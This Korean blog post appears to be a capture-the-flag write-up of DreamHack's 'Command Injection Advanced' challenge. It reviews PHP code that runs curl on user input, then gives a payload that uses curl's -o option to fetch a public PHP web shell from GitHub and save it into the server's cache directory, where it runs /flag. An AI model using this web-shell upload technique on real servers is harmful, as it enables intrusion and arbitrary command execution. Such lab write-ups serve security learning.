DreamHack/Web hacking

[LEVEL-1] Command Injection Advanced

쿼딩~ 2023. 12. 25. 06:43

url을 입력하고 curl 명령을 실행시키는 입력창과 submit 버튼이 보인다.

코드를 살펴보자

<html>
    <head></head>
    <link rel="stylesheet" href="/static/bulma.min.css" />
    <body>
        <div class="container card">
        <div class="card-content">
        <h1 class="title">Online Curl Request</h1>
    <?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
                echo '<pre>'. htmlentities($result) .'</pre>';
                return;
            }
        }else{
        ?>
            <form>
                <div class="field">
                    <label class="label">URL</label>
                    <input class="input" type="text" placeholder="url" name="url" required>
                </div>
                <div class="control">
                    <input class="button is-success" type="submit" value="submit">
                </div>
            </form>
        <?php
        }
    ?>
        </div>
        </div>
    </body>
</html>

 

 

if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');

위 코드 중 이 부분은 url 입력창에 http가 포함이 되어 있어야만 curl 명령을 실행시키는 기능을 구현하고 있다.

 

 

else{
    $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
    $cache_file = './cache/'.md5($url);
    file_put_contents($cache_file, $result);
    echo "<p>cache file: <a href='{$cache_file}'>{$cache_file}</a></p>";
    echo '<pre>'. htmlentities($result) .'</pre>';
    return;

이 부분은 curl 명령을 실행시키는데, ` escapeshellcmd ` 를 사용하여 커맨드 인젝션에서 흔히 사용하는 특수기호들(ex) ; or | 등등)을 필터링 하고 있기 때문에 일반적인 방법으로는 불가능해보인다.

그리고 실행 결과를 md5로 해싱처리 하여 'cache' 디렉터리에 저장하는 것으로 보인다.

 

그렇다면 어떤식으로 플래그를 얻을 수 있을까?

 

실행 결과를 해싱하여 저장하는 디렉터리 경로를 알고 있기 때문에, 웹 쉘을 업로드 해둔 공격자의 웹 서버에 요청을 보내서 'cache' 디렉터리에 업로드하면 우리는 웹 쉘을 사용할 수 있을 것이다.

 

이러한 작업은 curl 명령어를 통해서 가능하며 ` -o ` 옵션을 사용하여 디렉토리에 요청 결과를 저장하는 옵션을 사용하면 위의 시나리오대로 공격이 가능하다.

 

https://github.com/WhiteWinterWolf/wwwolf-php-webshell

 

GitHub - WhiteWinterWolf/wwwolf-php-webshell: WhiteWinterWolf's PHP web shell

WhiteWinterWolf's PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.

github.com

깃허브에 공개된 웹 쉘을 사용하기로 했다.

https://raw.githubusercontent.com/WhiteWinterWolf/wwwolf-php-webshell/master/webshell.php -o ./cache/exploit.php

웹 쉘을 cache에 업로드 하는 페이로드이다.

이것을 url 입력 창에 넣으면 위 깃허브 웹 서버에 업로드 되어 있는 웹 쉘을 문제의 웹 서버 cache 디렉터리에 업로드해서 우리가 그 경로로 이동하여 웹 쉘을 사용하여 flag 파일을 실행하면 된다.

 

url 입력창에 위 페이로드를 입력 후 업로드한 경로로 이동을 해보면 ....


성공적으로 웹 쉘이 업로드 된 것을 알 수 있다.

그럼 이제 Cmd 입력창에 /flag라고 입력하면

플래그가 출력되는 것을 볼 수 있다